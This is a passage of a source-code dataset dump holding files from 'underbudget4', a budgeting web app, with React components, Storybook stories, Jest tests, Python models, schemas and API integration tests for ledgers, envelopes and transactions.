},\n {\n id: 'ledgerId3',\n name: 'My Ledger',\n currency: 840,\n created: moment().subtract(36, 'day').toISOString(),\n lastUpdated: moment().subtract(25, 'day').toISOString(),\n },\n ]}\n onSelect={handleSelect}\n />\n);\n\nexport const Mobile = () => (\n <LedgersTable\n ledgers={[\n {\n id: 'ledgerId1',\n name: 'Demo Ledger',\n currency: 840,\n created: moment().subtract(86, 'day').toISOString(),\n lastUpdated: moment().subtract(75, 'day').toISOString(),\n },\n {\n id: 'ledgerId2',\n name: 'Foreign Ledger',\n currency: 980,\n created: moment().subtract(6, 'day').toISOString(),\n lastUpdated: moment().subtract(5, 'hour').toISOString(),\n },\n {\n id: 'ledgerId3',\n name: 'My Ledger',\n currency: 840,\n created: moment().subtract(36, 'day').toISOString(),\n lastUpdated: moment().subtract(25, 'day').toISOString(),\n },\n ]}\n mobile\n onSelect={handleSelect}\n />\n);\n" }, { "alpha_fraction": 0.6055312752723694, "alphanum_fraction": 0.6200873255729675, "avg_line_length": 21.161291122436523, "blob_id": "4933c09f2a3c4a2ac88a3b5f3064291d9d4f0aa9", "content_id": "ca9d8ce67fde347bd5222b704593495a7640ddf5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 687, "license_type": "permissive", "max_line_length": 66, "num_lines": 31, "path": "/webapp/src/features/ledgers/components/__stories__/LedgerForm.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { Formik } from 'formik';\nimport React from 'react';\n\nimport LedgerForm from '../LedgerForm';\n\nexport default {\n title: 'ledgers/LedgerForm',\n component: LedgerForm,\n};\n\nexport const NewLedger = () => (\n <Formik initialValues={{ name: '', currency: 840 }}>\n <LedgerForm />\n </Formik>\n);\n\nexport const ModifyLedger = () => (\n <Formik initialValues={{ name: 'My Ledger', currency: 980 }}>\n <LedgerForm />\n </Formik>\n);\n\nexport const WithErrors = () => (\n <Formik\n initialErrors={{ name: 'Bad name', currency: 'Bad currency' }}\n initialTouched={{ name: true, currency: true }}\n initialValues={{ name: '', currency: 1234 }}\n >\n <LedgerForm />\n </Formik>\n);\n" }, { "alpha_fraction": 0.5959871411323547, "alphanum_fraction": 0.5977210998535156, "avg_line_length": 32.09016418457031, "blob_id": "dc74ef2b9eebcfb1d4d4f45fdf7c5ed52b7c048a", "content_id": "95d49678fb1a92035136e1335ac0bde83aa22576", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 4037, "license_type": "permissive", "max_line_length": 94, "num_lines": 122, "path": "/webapp/src/features/transactions/components/TransactionsTable.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import Collapse from '@material-ui/core/Collapse';\nimport Table from '@material-ui/core/Table';\nimport TableBody from '@material-ui/core/TableBody';\nimport TableContainer from '@material-ui/core/TableContainer';\nimport TableCell from '@material-ui/core/TableCell';\nimport TableHead from '@material-ui/core/TableHead';\nimport TableRow from '@material-ui/core/TableRow';\nimport Typography from '@material-ui/core/Typography';\nimport Skeleton from '@material-ui/lab/Skeleton';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport useFormatMoney from 'common/hooks/useFormatMoney';\nimport TransactionDetailsTable from './TransactionDetailsTable';\nimport TransactionIcon from './TransactionIcon';\n\nconst SkeletonRow = () => (\n <TableRow>\n <TableCell>\n <Skeleton />\n </TableCell>\n <TableCell>\n <Skeleton />\n </TableCell>\n <TableCell>\n <Skeleton />\n </TableCell>\n <TableCell>\n <Skeleton />\n </TableCell>\n <TableCell>\n <Skeleton />\n </TableCell>\n </TableRow>\n);\n\nconst TransactionsTable = ({ loading, onClick, showDetailsOnClick, transactions }) => {\n const [detailsTrnId, setDetailsTrnId] = React.useState(null);\n const formatMoney = useFormatMoney();\n\n let handleClick = null;\n if (onClick) {\n handleClick = onClick;\n } else if (showDetailsOnClick) {\n handleClick = ({ id }) => setDetailsTrnId((old) => (old === id ? null : id));\n }\n\n return (\n <TableContainer>\n <Table aria-label='transactions table' size='small' stickyHeader>\n <TableHead>\n <TableRow>\n <TableCell padding='checkbox' />\n <TableCell style={{ width: '9em' }}>Date</TableCell>\n <TableCell>Payee</TableCell>\n <TableCell>Memo</TableCell>\n <TableCell style={{ width: '10em' }}>Amount</TableCell>\n </TableRow>\n </TableHead>\n <TableBody>\n {loading && <SkeletonRow />}\n {transactions.map((transaction) => (\n <>\n <TableRow\n hover={handleClick !== null}\n key={transaction.id}\n onClick={handleClick && (() => handleClick(transaction))}\n role={handleClick ? 'checkbox' : 'row'}\n style={handleClick && { cursor: 'pointer' }}\n >\n <TableCell>\n <TransactionIcon type={transaction.type} />\n </TableCell>\n <TableCell>{transaction.recordedDate}</TableCell>\n <TableCell>{transaction.payee}</TableCell>\n <TableCell>{transaction.memo}</TableCell>\n <TableCell>{formatMoney(transaction.amount)}</TableCell>\n </TableRow>\n <TableRow>\n <TableCell colSpan={5} style={{ paddingBottom: 0, paddingTop: 0 }}>\n <Collapse in={transaction.id === detailsTrnId} timeout='auto' unmountonExit>\n <Typography component='div' gutterBottom variant='h6'>\n Details\n </Typography>\n <TransactionDetailsTable\n formatMoney={formatMoney}\n id={transaction.transactionId}\n />\n </Collapse>\n </TableCell>\n </TableRow>\n </>\n ))}\n </TableBody>\n </Table>\n </TableContainer>\n );\n};\n\nTransactionsTable.propTypes = {\n loading: PropTypes.bool.isRequired,\n onClick: PropTypes.func,\n showDetailsOnClick: PropTypes.bool,\n transactions: PropTypes.arrayOf(\n PropTypes.shape({\n amount: PropTypes.number.isRequired,\n id: PropTypes.number.isRequired,\n memo: PropTypes.string.isRequired,\n payee: PropTypes.string.isRequired,\n recordedDate: PropTypes.string.isRequired,\n transactionId: PropTypes.number.isRequired,\n type: TransactionIcon.propTypes.type,\n }),\n ).isRequired,\n};\n\nTransactionsTable.defaultProps = {\n onClick: null,\n showDetailsOnClick: true,\n};\n\nexport default TransactionsTable;\n" }, { "alpha_fraction": 0.7313432693481445, "alphanum_fraction": 0.7340570092201233, "avg_line_length": 29.70833396911621, "blob_id": "74444eb3d6beb6468d6ef54eeaa0e13cd7d98493", "content_id": "aa8b70e3125e99890298b478f880090265f24817", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 737, "license_type": "permissive", "max_line_length": 94, "num_lines": 24, "path": "/webapp/src/features/reconciliations/routes/ReconciliationPage.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\nimport { useParams } from 'react-router-dom';\n\nimport AppPage from 'common/components/AppPage';\nimport useMobile from 'common/hooks/useMobile';\nimport ReconciledTransactions from '../components/ReconciledTransactions';\nimport ReconciliationAppBar from '../components/ReconciliationAppBar';\n\nconst ReconciliationPage = () => {\n const mobile = useMobile();\n const { id } = useParams();\n const reconciliationId = parseInt(id, 10);\n\n return (\n <AppPage\n appBar={<ReconciliationAppBar prominent={mobile} reconciliationId={reconciliationId} />}\n prominent={mobile}\n >\n <ReconciledTransactions reconciliationId={reconciliationId} />\n </AppPage>\n );\n};\n\nexport default ReconciliationPage;\n" }, { "alpha_fraction": 0.5791666507720947, "alphanum_fraction": 0.5839285850524902, "avg_line_length": 29, "blob_id": "eb56953452f85b391eaa66ee5a25c5ad7f989c3b", "content_id": "2a33d92b09cdd36e7f6ec1fff6cef6606fe79768", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1680, "license_type": "permissive", "max_line_length": 88, "num_lines": 56, "path": "/backend/underbudget/models/balance.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Balance resource model \"\"\"\nimport datetime\nfrom sqlalchemy.sql import func\n\nfrom underbudget.database import db\nfrom underbudget.models.transaction import (\n AccountTransactionModel,\n EnvelopeTransactionModel,\n TransactionModel,\n)\n\n\nclass AccountBalanceModel:\n \"\"\" Account balance model \"\"\"\n\n @staticmethod\n def get_balance(\n account_id: int,\n date: datetime.date,\n ) -> int:\n \"\"\" Gets the balance of an account as of a particular date. \"\"\"\n result = (\n db.session.query(\n func.sum(AccountTransactionModel.amount).label(\"balance\"), func.count()\n )\n .join(TransactionModel)\n .filter(AccountTransactionModel.account_id == account_id)\n .filter(TransactionModel.recorded_date <= date)\n .first()\n )\n if result:\n return {\"balance\": result[0], \"total\": result[1]}\n return {\"balance\": 0, \"total\": 0}\n\n\nclass EnvelopeBalanceModel:\n \"\"\" Envelope balance model \"\"\"\n\n @staticmethod\n def get_balance(\n envelope_id: int,\n date: datetime.date,\n ) -> int:\n \"\"\" Gets the balance of an envelope as of a particular date. \"\"\"\n result = (\n db.session.query(\n func.sum(EnvelopeTransactionModel.amount).label(\"balance\"), func.count()\n )\n .join(TransactionModel)\n .filter(EnvelopeTransactionModel.envelope_id == envelope_id)\n .filter(TransactionModel.recorded_date <= date)\n .first()\n )\n if result:\n return {\"balance\": result[0], \"total\": result[1]}\n return {\"balance\": 0, \"total\": 0}\n" }, { "alpha_fraction": 0.695348858833313, "alphanum_fraction": 0.7023255825042725, "avg_line_length": 32.07692337036133, "blob_id": "18c6741ff72dd21a4a1e9db1982eff5439c9082b", "content_id": "11fefe941f14c7e7f3ccca4a35aeca99cd91127b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 430, "license_type": "permissive", "max_line_length": 74, "num_lines": 13, "path": "/backend/underbudget/schemas/demo.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Demo API schemas \"\"\"\nfrom marshmallow import Schema, fields, validate\n\n\nclass DemoSchema(Schema):\n \"\"\" Demo parameters schema \"\"\"\n\n name = fields.String(required=True, validate=validate.Length(min=1))\n currency = fields.Integer(\n strict=True, required=True, validate=validate.Range(min=1)\n )\n months = fields.Integer(required=True, validate=validate.Range(min=3))\n seed = fields.Integer(missing=None)\n" }, { "alpha_fraction": 0.7041666507720947, "alphanum_fraction": 0.7041666507720947, "avg_line_length": 33.28571319580078, "blob_id": "ee8c424b66c52f9998b20d72841928bc462de8a1", "content_id": "a9aae6f538577a8d7ec79a7e858731d98fb6a236", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 240, "license_type": "permissive", "max_line_length": 70, "num_lines": 7, "path": "/webapp/src/common/hooks/useMobile.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { useTheme } from '@material-ui/core/styles';\nimport useMediaQuery from '@material-ui/core/useMediaQuery';\n\nexport default () => {\n const theme = useTheme();\n return useMediaQuery(theme.breakpoints.down('xs'), { noSsr: true });\n};\n" }, { "alpha_fraction": 0.7798618078231812, "alphanum_fraction": 0.7818361520767212, "avg_line_length": 32.766666412353516, "blob_id": "1104d6eb95e0ac3163cef6ee221eca1bff78cd1c", "content_id": "f5dcb97202552facaa7488ca2221bbdc390554ff", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1013, "license_type": "permissive", "max_line_length": 71, "num_lines": 30, "path": "/webapp/src/features/transactions/components/__stories__/TransactionDetailsList.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nimport TransactionDetailsList from '../TransactionDetailsList';\nimport * as stories from './TransactionDetailsTable.stories';\n\nexport default {\n title: 'transactions/TransactionDetailsList',\n component: TransactionDetailsList,\n decorators: stories.default.decorators,\n parameters: {\n viewport: { defaultViewport: 'mobile1' },\n },\n};\n\nconst Template = (args) => <TransactionDetailsList id={7} {...args} />;\n\nexport const GetError = Template.bind({});\nGetError.parameters = stories.GetError.parameters;\n\nexport const SimpleTransaction = Template.bind({});\nSimpleTransaction.parameters = stories.SimpleTransaction.parameters;\n\nexport const SplitTransaction = Template.bind({});\nSplitTransaction.parameters = stories.SplitTransaction.parameters;\n\nexport const AccountTransfer = Template.bind({});\nAccountTransfer.parameters = stories.AccountTransfer.parameters;\n\nexport const EnvelopeTransfer = Template.bind({});\nEnvelopeTransfer.parameters = stories.EnvelopeTransfer.parameters;\n" }, { "alpha_fraction": 0.6626722812652588, "alphanum_fraction": 0.6638705730438232, "avg_line_length": 25.492063522338867, "blob_id": "92d7609a099ba3c1a435fc7f5499d29e7b3f985b", "content_id": "4dd452dae774cb1340ce6608d6c3cf250c2e93e0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1669, "license_type": "permissive", "max_line_length": 97, "num_lines": 63, "path": "/webapp/src/common/contexts/confirmation/confirmation.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import PropTypes from 'prop-types';\nimport React, { useContext, useRef, useState } from 'react';\n\nimport ConfirmationDialog from '../../components/ConfirmationDialog';\n\nconst ConfirmationContext = React.createContext();\n\nconst useConfirmation = () => {\n const context = useContext(ConfirmationContext);\n if (context === undefined) {\n throw new Error('useConfirmation must be used within a ConfirmationContextProvider');\n }\n return context;\n};\n\nconst ConfirmationContextProvider = ({ children }) => {\n const promiseRef = useRef({\n reject: () => 0,\n resolve: () => 0,\n });\n\n const [confirmState, setConfirmState] = useState(null);\n\n const openConfirm = (options) => {\n setConfirmState(options);\n return new Promise((resolve, reject) => {\n promiseRef.current = { resolve, reject };\n });\n };\n\n const handleReject = () => {\n if (confirmState.catch && promiseRef.current) {\n promiseRef.current.reject();\n }\n setConfirmState({ ...confirmState, open: false });\n };\n\n const handleConfirm = () => {\n if (promiseRef.current) {\n promiseRef.current.resolve();\n }\n setConfirmState({ ...confirmState, open: false });\n };\n\n return (\n <>\n <ConfirmationContext.Provider value={openConfirm}>{children}</ConfirmationContext.Provider>\n\n <ConfirmationDialog\n onConfirm={handleConfirm}\n onReject={handleReject}\n open={Boolean(confirmState)}\n {...confirmState}\n />\n </>\n );\n};\n\nConfirmationContextProvider.propTypes = {\n children: PropTypes.oneOfType([PropTypes.node, PropTypes.arrayOf(PropTypes.node)]).isRequired,\n};\n\nexport { ConfirmationContextProvider, useConfirmation };\n" }, { "alpha_fraction": 0.6180645227432251, "alphanum_fraction": 0.6180645227432251, "avg_line_length": 27.703702926635742, "blob_id": "ed0249a06808131f6ce0bda6795feea3eab841b7", "content_id": "cc50f244707b91958cb26ebc638855f2998397bc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 775, "license_type": "permissive", "max_line_length": 69, "num_lines": 27, "path": "/webapp/src/features/accounts/components/AccountsList.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import LinearProgress from '@material-ui/core/LinearProgress';\nimport List from '@material-ui/core/List';\nimport Alert from '@material-ui/lab/Alert';\nimport React from 'react';\n\nimport useAccounts from '../hooks/useAccounts';\nimport AccountCategoryListItem from './AccountCategoryListItem';\n\nconst AccountsList = () => {\n const { categories, error, status } = useAccounts();\n\n return (\n <>\n {status === 'success' && (\n <List dense disablePadding>\n {categories.map((cat) => (\n <AccountCategoryListItem category={cat} key={cat.id} />\n ))}\n </List>\n )}\n {status === 'loading' && <LinearProgress />}\n {status === 'error' && <Alert severity='error'>{error}</Alert>}\n </>\n );\n};\n\nexport default AccountsList;\n" }, { "alpha_fraction": 0.6634986400604248, "alphanum_fraction": 0.67092365026474, "avg_line_length": 33.711341857910156, "blob_id": "a0ebdf156ec6a8df4da5f9c0f4e0db27a19a5cf7", "content_id": "4131e078094649cc42735eb09e3770237b8d610d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3367, "license_type": "permissive", "max_line_length": 98, "num_lines": 97, "path": "/webapp/src/features/envelopes/components/__tests__/CreateEnvelopeDialog.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport axios from 'axios';\nimport MockAdapter from 'axios-mock-adapter';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\n\nimport renderWithRouter from 'test/renderWithRouter';\nimport CreateEnvelopeDialog from '../CreateEnvelopeDialog';\n\nconst render = () => {\n localStorage.setItem('underbudget.selected.ledger', '2');\n\n const queryClient = new QueryClient({\n defaultOptions: {\n queries: {\n staleTime: Infinity,\n },\n },\n });\n\n const mock = new MockAdapter(axios);\n mock.onGet('/api/ledgers/2/envelope-categories').reply(200, {\n categories: [\n { id: 1, name: 'Category 1' },\n { id: 2, name: 'Category 2' },\n ],\n });\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <CreateEnvelopeDialog />\n </QueryClientProvider>,\n ),\n mock,\n queryClient,\n };\n};\n\ntest('should prevent submission when required fields are missing', async () => {\n const { mock } = render();\n\n expect(screen.getByRole('heading', { name: /create envelope/i })).toBeInTheDocument();\n await waitFor(() => expect(mock.history.get.length).toBe(1));\n\n userEvent.tab();\n\n await waitFor(() => expect(screen.getAllByText(/required/i)).toHaveLength(1));\n expect(screen.getByRole('button', { name: /create/i })).toBeDisabled();\n});\n\ntest('should show error message when request error', async () => {\n const { mock } = render();\n mock.onPost('/api/envelope-categories/2/envelopes').reply(400);\n\n expect(screen.getByRole('heading', { name: /create envelope/i })).toBeInTheDocument();\n await waitFor(() => expect(mock.history.get.length).toBe(1));\n\n userEvent.type(screen.getByLabelText(/^name/i), 'my envelope name');\n userEvent.click(screen.getByRole('button', { name: /open/i }));\n userEvent.click(screen.getByRole('option', { name: 'Category 2' }));\n\n await waitFor(() => expect(screen.getByRole('button', { name: /create/i })).toBeEnabled());\n userEvent.click(screen.getByRole('button', { name: /create/i }));\n\n await waitFor(() => expect(screen.getByText(/unable to create envelope/i)).toBeInTheDocument());\n});\n\ntest('should close and refresh query when successful create', async () => {\n const { mock, queryClient } = render();\n mock.onPost('/api/envelope-categories/2/envelopes').reply(201);\n const invalidateQueries = jest.spyOn(queryClient, 'invalidateQueries');\n\n expect(screen.getByRole('heading', { name: /create envelope/i })).toBeInTheDocument();\n await waitFor(() => expect(mock.history.get.length).toBe(1));\n\n userEvent.type(screen.getByLabelText(/^name/i), 'my envelope name');\n userEvent.click(screen.getByRole('button', { name: /open/i }));\n userEvent.click(screen.getByRole('option', { name: 'Category 2' }));\n\n await waitFor(() => expect(screen.getByRole('button', { name: /create/i })).toBeEnabled());\n userEvent.click(screen.getByRole('button', { name: /create/i }));\n\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /create envelope/i })).not.toBeInTheDocument(),\n );\n expect(JSON.parse(mock.history.post[0].data)).toEqual({\n name: 'my envelope name',\n });\n expect(invalidateQueries).toHaveBeenCalledWith([\n 'envelope-categories',\n {\n ledger: '2',\n },\n ]);\n});\n" }, { "alpha_fraction": 0.6155537366867065, "alphanum_fraction": 0.6488046050071716, "avg_line_length": 30.781660079956055, "blob_id": "bd05c6427ec8c599c03c29d093f5c1be6590ec2f", "content_id": "09d24dc963af25a79dac0d5fec005edd2eeddf9a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 7278, "license_type": "permissive", "max_line_length": 91, "num_lines": 229, "path": "/webapp/src/features/transactions/components/__tests__/TransactionDetailsTable.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { configure, screen, waitFor, within } from '@testing-library/react';\nimport axios from 'axios';\nimport MockAdapter from 'axios-mock-adapter';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport renderWithRouter from 'test/renderWithRouter';\nimport TransactionDetailsTable from '../TransactionDetailsTable';\n\nconst formatMoney = (v) =>\n new Intl.NumberFormat(undefined, { currency: 'USD', style: 'currency' }).format(v / 100);\n\nconst accounts = {\n categories: [\n {\n id: 1,\n name: 'Category 1',\n accounts: [\n { id: 1, name: 'Account 1' },\n { id: 2, name: 'Account 2' },\n ],\n },\n {\n id: 2,\n name: 'Category 2',\n accounts: [],\n },\n {\n id: 3,\n name: 'Category 3',\n accounts: [\n { id: 3, name: 'Account 3' },\n { id: 4, name: 'Account 4' },\n ],\n },\n ],\n};\n\nconst envelopes = {\n categories: [\n {\n id: 1,\n name: 'Category 1',\n envelopes: [],\n },\n {\n id: 2,\n name: 'Category 2',\n envelopes: [\n { id: 1, name: 'Envelope 1' },\n { id: 2, name: 'Envelope 2' },\n { id: 3, name: 'Envelope 3' },\n ],\n },\n {\n id: 3,\n name: 'Category 3',\n envelopes: [{ id: 4, name: 'Envelope 4' }],\n },\n ],\n};\n\nconst render = (transaction, code = 200) => {\n configure({ defaultHidden: true });\n\n setSelectedLedger('2');\n\n const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });\n\n const mockAxios = new MockAdapter(axios);\n mockAxios.onGet('/api/transactions/7').reply(code, transaction);\n mockAxios.onGet('/api/ledgers/2/account-categories').reply(200, accounts);\n mockAxios.onGet('/api/ledgers/2/envelope-categories').reply(200, envelopes);\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <TransactionDetailsTable formatMoney={formatMoney} id={7} />\n </QueryClientProvider>,\n ),\n mockAxios,\n queryClient,\n };\n};\n\nconst verifyHeader = (row) => {\n const cells = within(row).getAllByRole('columnheader');\n expect(cells).toHaveLength(4);\n expect(cells[0]).toHaveTextContent('Name');\n expect(cells[1]).toHaveTextContent('Memo');\n expect(cells[2]).toHaveTextContent('Cleared');\n expect(cells[3]).toHaveTextContent('Amount');\n};\n\nconst verifyIsAccountsRow = (row) => {\n const cells = within(row).getAllByRole('cell');\n expect(cells).toHaveLength(1);\n expect(cells[0]).toHaveTextContent('Accounts');\n};\n\nconst verifyTransactionRow = (row, name, memo, isCleared, amount) => {\n const cells = within(row).getAllByRole('cell');\n expect(cells).toHaveLength(4);\n expect(cells[0]).toHaveTextContent(name);\n expect(cells[1]).toHaveTextContent(memo);\n if (isCleared) {\n expect(cells[2]).not.toBeEmptyDOMElement();\n } else {\n expect(cells[2]).toBeEmptyDOMElement();\n }\n expect(cells[3]).toHaveTextContent(amount);\n};\n\nconst verifyIsEnvelopesRow = (row) => {\n const cells = within(row).getAllByRole('cell');\n expect(cells).toHaveLength(1);\n expect(cells[0]).toHaveTextContent('Envelopes');\n};\n\ntest('should display error message if unable to fetch transaction', async () => {\n render({}, 404);\n expect(screen.getByRole('progressbar')).toBeInTheDocument();\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n expect(screen.getByText(/unable to retrieve transaction details/i)).toBeInTheDocument();\n});\n\ntest('should display income transaction', async () => {\n const incomeTransaction = {\n accountTransactions: [{ id: 1, accountId: 2, memo: '', cleared: false, amount: 1450 }],\n envelopeTransactions: [{ id: 2, envelopeId: 3, memo: '', amount: 1450 }],\n };\n\n render(incomeTransaction);\n\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n\n const rows = screen.queryAllByRole('row');\n expect(rows).toHaveLength(5);\n verifyHeader(rows[0]);\n verifyIsAccountsRow(rows[1]);\n verifyTransactionRow(rows[2], 'Category 1:Account 2', '', false, '$14.50');\n verifyIsEnvelopesRow(rows[3]);\n verifyTransactionRow(rows[4], 'Category 2:Envelope 3', '', false, '$14.50');\n});\n\ntest('should display simple expense transaction', async () => {\n const simpleExpenseTransaction = {\n accountTransactions: [{ id: 1, accountId: 4, memo: '', amount: -314159 }],\n envelopeTransactions: [{ id: 2, envelopeId: 1, memo: '', amount: -314159 }],\n };\n\n render(simpleExpenseTransaction);\n\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n\n const rows = screen.queryAllByRole('row');\n expect(rows).toHaveLength(5);\n verifyHeader(rows[0]);\n verifyIsAccountsRow(rows[1]);\n verifyTransactionRow(rows[2], 'Category 3:Account 4', '', false, '-$3,141.59');\n verifyIsEnvelopesRow(rows[3]);\n verifyTransactionRow(rows[4], 'Category 2:Envelope 1', '', false, '-$3,141.59');\n});\n\ntest('should display split expense transaction', async () => {\n const splitExpenseTransaction = {\n accountTransactions: [{ id: 1, accountId: 1, memo: '', amount: -10000 }],\n envelopeTransactions: [\n { id: 2, envelopeId: 2, memo: 'Memo 1', amount: -7500 },\n { id: 3, envelopeId: 4, memo: 'Memo 2', amount: -2500 },\n ],\n };\n\n render(splitExpenseTransaction);\n\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n\n const rows = screen.queryAllByRole('row');\n expect(rows).toHaveLength(6);\n verifyHeader(rows[0]);\n verifyIsAccountsRow(rows[1]);\n verifyTransactionRow(rows[2], 'Category 1:Account 1', '', false, '-$100.00');\n verifyIsEnvelopesRow(rows[3]);\n verifyTransactionRow(rows[4], 'Category 2:Envelope 2', 'Memo 1', false, '-$75.00');\n verifyTransactionRow(rows[5], 'Category 3:Envelope 4', 'Memo 2', false, '-$25.00');\n});\n\ntest('should display transfer transaction', async () => {\n const transferTransaction = {\n accountTransactions: [\n { id: 1, accountId: 3, memo: '', cleared: true, amount: 87654 },\n { id: 2, accountId: 4, memo: '', amount: -87654 },\n ],\n envelopeTransactions: [],\n };\n\n render(transferTransaction);\n\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n\n const rows = screen.queryAllByRole('row');\n expect(rows).toHaveLength(4);\n verifyHeader(rows[0]);\n verifyIsAccountsRow(rows[1]);\n verifyTransactionRow(rows[2], 'Category 3:Account 3', '', true, '$876.54');\n verifyTransactionRow(rows[3], 'Category 3:Account 4', '', false, '-$876.54');\n});\n\ntest('should display allocation transaction', async () => {\n const allocationTransaction = {\n accountTransactions: [],\n envelopeTransactions: [\n { id: 2, envelopeId: 2, memo: '', amount: -1500 },\n { id: 3, envelopeId: 1, memo: '', amount: 1500 },\n ],\n };\n\n render(allocationTransaction);\n\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n\n const rows = screen.queryAllByRole('row');\n expect(rows).toHaveLength(4);\n verifyHeader(rows[0]);\n verifyIsEnvelopesRow(rows[1]);\n verifyTransactionRow(rows[2], 'Category 2:Envelope 2', '', false, '-$15.00');\n verifyTransactionRow(rows[3], 'Category 2:Envelope 1', '', false, '$15.00');\n});\n" }, { "alpha_fraction": 0.5645872354507446, "alphanum_fraction": 0.5812001824378967, "avg_line_length": 37.80921173095703, "blob_id": "cfb231d9ce4694120298366b06a3f726cd58b70b", "content_id": "c328a862409a0f3dd286243554a2a5ba63f359d8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11798, "license_type": "permissive", "max_line_length": 85, "num_lines": 304, "path": "/backend/underbudget/tests/test_envelopes.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Integration tests for envelope APIs \"\"\"\nimport json\nfrom jsonpath_ng.ext import parse\nfrom parameterized import parameterized\n\nfrom underbudget.tests.base import BaseTestCase\n\n\nclass EnvelopesTestCase(BaseTestCase):\n \"\"\" Integration tests for envelope APIs \"\"\"\n\n @parameterized.expand([(\"not-an-id\",), (999,)])\n def test_envelope_category_requires_valid_ledger(self, ledger_id=None):\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/envelope-categories\",\n json={\"name\": \"Envelope Category\"},\n )\n assert resp.status_code == 404\n\n @parameterized.expand(\n [\n (\"Name\", \"Envelope Category\"),\n (\"name\", \"\"),\n (\"name\", None),\n ]\n )\n def test_envelope_category_requires_valid_name(self, key, value):\n ledger_id = self.create_ledger()\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/envelope-categories\",\n json={key: value},\n )\n assert resp.status_code == 400\n\n def test_envelope_category_not_found(self):\n self._test_crud_methods_against_non_existent_resource(\n \"/api/envelope-categories\", {\"name\": \"Envelope Category\"}\n )\n\n def test_envelope_category_is_audited(self):\n ledger_id = self.create_ledger()\n self._test_resource_is_audited(\n f\"/api/ledgers/{ledger_id}/envelope-categories\",\n \"/api/envelope-categories\",\n {\"name\": \"Envelope Category\"},\n )\n\n def test_envelope_category_modification(self):\n ledger_id = self.create_ledger()\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/envelope-categories\",\n json={\"name\": \"Original Name\"},\n )\n assert resp.status_code == 201\n category_id = json.loads(resp.data).get(\"id\")\n\n resp = self.client.get(f\"/api/envelope-categories/{category_id}\")\n assert resp.status_code == 200\n body = json.loads(resp.data)\n assert body.get(\"name\") == \"Original Name\"\n\n resp = self.client.put(\n f\"/api/envelope-categories/{category_id}\", json={\"name\": \"Modified Name\"}\n )\n assert resp.status_code == 200\n\n resp = self.client.get(f\"/api/envelope-categories/{category_id}\")\n assert resp.status_code == 200\n body = json.loads(resp.data)\n assert body.get(\"name\") == \"Modified Name\"\n\n def test_envelope_category_deletion(self):\n ledger_id = self.create_ledger()\n category_id = self.create_envelope_category(ledger_id)\n assert (\n self.client.get(f\"/api/envelope-categories/{category_id}\").status_code\n == 200\n )\n assert (\n self.client.delete(f\"/api/envelope-categories/{category_id}\").status_code\n == 204\n )\n assert (\n self.client.get(f\"/api/envelope-categories/{category_id}\").status_code\n == 404\n )\n\n @parameterized.expand([(\"not-an-id\",), (999,)])\n def test_envelope_requires_valid_category(self, category_id):\n resp = self.client.post(\n f\"/api/envelope-categories/{category_id}/envelopes\",\n json={\"name\": \"Envelope\"},\n )\n assert resp.status_code == 404\n\n @parameterized.expand(\n [\n (\"Name\", \"Envelope\"),\n (\"name\", \"\"),\n (\"name\", None),\n ]\n )\n def test_envelope_requires_valid_name(self, key, value):\n ledger_id = self.create_ledger()\n category_id = self.create_envelope_category(ledger_id)\n resp = self.client.post(\n 